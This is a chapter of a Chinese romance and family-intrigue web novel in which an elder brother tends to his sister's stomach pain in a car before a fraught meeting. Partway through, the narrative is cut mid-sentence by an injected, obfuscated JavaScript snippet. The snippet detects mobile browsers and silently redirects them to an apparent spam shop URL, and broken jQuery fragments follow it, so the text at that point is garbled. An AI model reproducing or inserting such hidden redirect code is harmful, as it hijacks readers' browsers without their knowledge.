车厢里冷气依旧，皮质座椅的触感有些生硬。
钟温婷陷在后座，羊绒披肩裹得紧，身体却显得更单薄。
她侧头看窗外，霓虹灯一闪一闪，京城夜色流动得很快。
沈家的饭局体面，菜摆得精致，说话也讲究分寸。
她动了几下筷子，就放下了。
离开后，胃开始隐隐作痛。钟谨北坐在旁边，姿态从容，像什么事都没发生。
她抬手，按在胃上，隔着真丝礼服，指尖凉得像别人。
南边老宅入夜时，老婆婆总会煨一碗百合莲子羹。汤色清淡，入口温和。
她皱了皱眉，很轻。
嘴唇抿紧，那点傲气像根细细的线，绷着她的脊梁，不让她塌下去。
饿就饿着吧，她想。
这一辈子反正要在这里耗干，差这一顿饭。
冷风从车缝钻进来，心里发虚。
要是他这会儿能像小时候那样，从兜里摸出一块剥好的巧克力……
钟温婷忽然觉得自己很可笑。
他现在是钟家的掌门人。眼里是南边的码头、柳家的联姻、那些需要算计的局。
哪还有空管你饿不饿。
车内光线暗，她的侧脸倦怠又清冷，呼吸薄得几乎听不见。
钟谨北原本正盯着手里的平板看数据，余光扫到她按在腹部的手，指尖微微顿住。
“胃疼？”他没抬头，声音冷淡却精准地挑开了她的伪装。
“没有。”她淡淡的。
钟谨没说话，他反手合上平板，从前排座位的背袋里拎出一个保温袋，随手扔到她膝盖上。
“申辰送来的。南边的点心，说是你在福建最爱吃的那家。趁热垫两口，待会儿到了‘隐阁’，有的是你喝苦酒的时候。”
车厢里重新陷入了那种胶着的安静，只有引擎细微的震动。
钟温婷靠在真皮座椅里，礼服料子有些凉，贴着皮肤，愈发衬得那股子饥饿感从胃里钻心剔骨地翻上来。
钟谨北侧头看她。
路灯的光影飞速掠过她的脸颊，那一副嚣张跋扈的劲头撤得干净，只剩下一层经不起风吹的惨白。
他记得她在沈家就吃了两口豆腐。
他抬手敲了敲隔板，“停车。”
司机稳稳地把车靠在路边，这儿距离“隐阁”还有几公里，是条没什么烟火气的街道。
钟谨北从一旁的暗格里翻出一盒包装得极细致的苏式糕点，那是他出门前特意让司机去老字号排队取回来的，还带着余温。
“赵云云那儿的首饰沉，压得你连路都不会走了？”他把盒子递过去，语气依然硬邦邦的，带了点嘲。
他打开盒子，里面是一块块小巧玲珑的云片糕，修长的指尖捏起一块，递到她唇边，“垫垫。‘隐阁’那地方没什么是你能入口的，沈复那帮人，也不是请你去做客吃席的。”
钟温婷有点嫌弃，“本来就不好吃。”
钟谨北无奈又纵容，“可现在除了这个，我上哪儿给你弄那碗你念叨了十年的海蛎面？你就这点儿出息，回了北京，胃还留在闽南。张嘴，别让我说第二遍。”
他盯着她微抿的唇，手上的动作很稳可那双眼里，全是被她这副病恹恹的样儿磨出来的、无处发泄的燥火。
车厢里细碎的咀嚼声显得格外突兀。
钟温婷低着头，披肩随着她小口吞咽的动作微微起伏。
那点心虽是南边的手艺，可进了这满是京城冷气的胃里，却像是一块带着刺的冰。
她很清楚，这种时候进食，那股子烧心的钝痛只会变本加厉，可她没拒绝，也没抬头看他。
疼就疼吧，反正在他面前，她早就做了信徒没了知觉。
吃了这口东西，承了这分情，待会儿进了“隐阁”，是不是就得更听话地去当你那颗最懂事的棋子？她觉得无解此题。
他是她经年的隐疾，长在骨里刻成了宿命。
车窗外的雨势不见小，洗得霓虹灯影在大理石路面上碎成一滩黏糊的色块。
钟谨北收回视线，手肘抵在扶手上，指尖有一搭没一搭地轻点着。
他没看她。
车厢里，那个蜷在阴影里的身影正赌气似地往嘴里塞点心，腮帮子鼓着，细碎的渣子落在膝头的羊绒毯上，如同晚秋落了一地败掉的残蕊。
“慢点，没人和你抢。”他听不出多少温度，只是察觉到她脊背不自然地弓起，指尖的动作戛然而止。
他冷着脸回身从格挡里取出一瓶温水。五指收拢，拧开盖子时发出一声细微的咔哒声，随即不由分说地塞进她微凉的手心。瓶壁残留的余温像是一道细窄的火引，生生燎进她那点藏不住的孤傲里。
“喝两口，别干咽。沈复那事还没翻篇，你这会儿要是倒了，南边那条水路，你那几个表哥谁也保不住。”他话丢得硬，像是在敲一桩带血的买卖。
他太清楚这姑娘。她那点自尊心像浸了水的棉花，沉重又潮湿，若不拿人命关天的事儿去秤，她真能在这雨夜里把自己耗成一截枯掉的烛芯。
钟谨北把头靠回椅背，喉结克制地滚了滚。
在他看来，这就是她最拙劣的把戏，那些苦涩的心绪被她妥善地收进皮囊里，像是某种试图自欺的掩护。可这四九城的风从来不通情理，她那点经不起消磨的底子，连同看向他时那抹混杂着清醒的坠落感，都在这经年累月里，被他养出了一场名为依赖的慢性病。
他倒宁愿她这会儿能把那瓶水砸在他脸上，闹得天翻地覆，也强过现在这样，像只淋透了雨、却还要在刀尖上舔蜜的猫。
“非得我教你怎么疼自己么，温温。”这声呢喃极轻，像是在对着虚空自首。
指尖终于触到了她的一点温热，他看着她低头抿了那口水，心里那股被雨水浇得湿冷的躁郁，才像瓶口散出的水汽，一点点、钝钝地散了。
车子滑过护城河，远处隐阁的霓虹在夜色里明明灭灭，像是一只窥伺的眼。
钟谨北偏过头，瞧见她嘴角沾了点碎屑。他指尖动了动，想替她揩了，最终却只是重新拿起膝头冷冰冰的平板。
“待会儿进去了，跟着我。申辰在暗处，除了我，谁叫你都别动。”
光影在他侧脸拉出一道锋利的线条。
他盯着屏幕上跳动的曲线，心里却想：温温，今晚你要是真能拽住我，不让我把你送走。
你敢吗。
“……知道了，大哥。”钟温婷的声音把他拉了回来，她向来在公开场合有分寸。
车厢里的光影在钟温婷脸上飞速掠过，甚至带着一种剪裁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394332|200346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的温良。
她微微侧过脸，避开了钟谨北那道如影随形的视线，将手里那瓶温水贴在胃部，试图汲取那一点微末的热量。
这声称呼是她在这十年里亲手缝出来的皮。在那段潮湿的岁月里，她对着一张张面目模糊的脸重复这个词。
叫到最后，连她自己都快忘了这层皮下到底是什么心思。
她曾以为这不过是场金蝉脱壳的戏，等时机到了，总能全身而退。却没发现自己早已在这个过程中，钟谨北剥掉了原本的一层真切，她成了他最忠实的信徒。
胃里的绞痛像是一把生锈的剪刀，正慢条斯理地裁剪着她的意志。她能感觉到钟谨北的视线，那目光带着一种克制的温度，落在她苍白的侧脸上，却让她觉得更加湿冷。
她机械地吞咽着点心，胃里像是塞进了一把生锈的小刀，随着车子的颠簸一点点翻搅。
那种疼痛很真实，真实到钟温婷觉得，这满京城的繁华，不过是层层叠叠的纸灯笼。
钟谨北的手在黑暗中动了动，似乎想去触碰她，最终却只是收了回去。这种近乎残忍的克制，在此时此地显得尤为讽刺。他大概是心疼的，但这种心疼即便给了，又能代表什么。
她有时候觉着钟谨北最厉害的地方，就是能一边算计得干干净净，一边又让人觉得你是唯一的依靠。
这种手段，赵云云学一辈子也学不来。她倒是想试试看。
你说隐阁有苦酒，可我这些年喝下的每一口水，哪一个不是苦的？
“隐阁”那古拙而狰狞的轮廓已经在雨幕中浮现。
钟温婷直起腰，把没吃完的点心盒子重新扣紧，她拢了拢肩上那层厚重的羊绒。
车门拉开，初春的冷意和着那股清冷的草木香扑面而来，灌进她尚且温热的领口。
钟谨北已经立在风口，黑色的风衣角被吹得凛冽。
他单手撑着门顶，另一只手极其自然地递进光影交界处。
那只手干净、平稳，虎口处的微茧在昏暗中勾勒出一种长久握权的力量感。
他没看她，只是在那儿等着。
钟温婷盯着那只手，胃里的绞痛在这一刻变得极其安静。
她避开了他的掌心，只是虚虚地搭着他的小臂借力。
她踩着细高跟稳稳落地，微微仰头，看着那块隐阁招牌，胃里的钝痛像是一条吐信的毒蛇，每走一步都钻心地咬上一口。
钟谨北的袖口真凉，凉得让人清醒。
他这种人，天生就该站这供人仰望。
——
时间回到钟温婷入“渊园”那晚。
钟谨北坐在办公室的阴影里，面前摆着一份关于南边港口扩建的报告。
“沈家想要那三个百分点的基建份额，不是因为缺钱，”他屈起手指，在“环境评估报告”那一页轻叩了两下，“是因为他们需要通过这个口子，把去年在西郊那块地上亏掉的信用补回来。名分比钱贵。”
他抬头看向对面的下属，眼神波澜不惊，“告诉沈执渊，份额可以给，但沈家在北边那条航线的清关优先权，得匀给林家。既然温温姓了林十年，那这十年林家护她的账，沈家得替我结了。”
这不是商量，这是在天平两端精准地拨动砝码。
从一开始，局就已经开了。